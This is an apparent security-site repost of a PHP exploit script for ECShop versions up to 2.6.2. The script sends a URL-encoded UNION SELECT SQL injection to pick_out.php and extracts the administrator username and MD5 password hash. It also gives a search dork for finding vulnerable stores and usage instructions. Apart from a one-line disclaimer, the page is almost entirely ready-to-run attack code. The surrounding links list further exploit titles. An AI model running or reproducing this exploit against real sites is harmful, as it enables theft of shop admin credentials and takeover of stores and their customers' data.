首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
来源:http://bbs.wolvez.org 作者:puretot 发布时间:2010-05-17  

#!/usr/bin/php
<?php
//本程序只作技术交流,请不要用做非法用途!!
print_r('
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://bbs.wolvez.org
dork: "Powered by ECShop"
+---------------------------------------------------------------------------+
');
/**
 * works with magic_quotes_gpc = Off
 */
if ($argc < 3) {
 print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
 exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match('#IN\s\(([\S]+):([a-z0-9]{32})\)#', $resp, $hash);

if ($hash)
 exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");
else
 exit("Exploit Failed!\n");

function send()
{
 global $host, $path;

 $cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat';

 $data = "GET ".$path."pick_out.php?".$cmd."  HTTP/1.1\r\n";
 $data .= "Host: $host\r\n";
 $data .= "Connection: Close\r\n\r\n";

 $fp = fsockopen($host, 80);
 fputs($fp, $data);

 $resp = '';

 while ($fp && !feof($fp))
  $resp .= fread($fp, 1024);

 return $resp;
}

?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ECShop <= v2.7.2 SQL injection
·Linux x86 execve("/usr/bin/wge
·phpcms 2008 yp.php 0day exp
·Shellzip v3.0 Beta 3 (.zip) 0d
·phpcms2008第二个EXP
·IncrediMail (ImShExtU.dll) Act
·win32/xp sp3 Fr (calc.exe) She
·TYPSoft FTP Server v1.10 RETR
·Reflection Attachmate Reflecti
·SmallFTPD FTP Server v1.0.3 DE
·ChillyCMS Blind Sql Injection
·Firefox 3.6.3 & Safari 4.0.5 -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved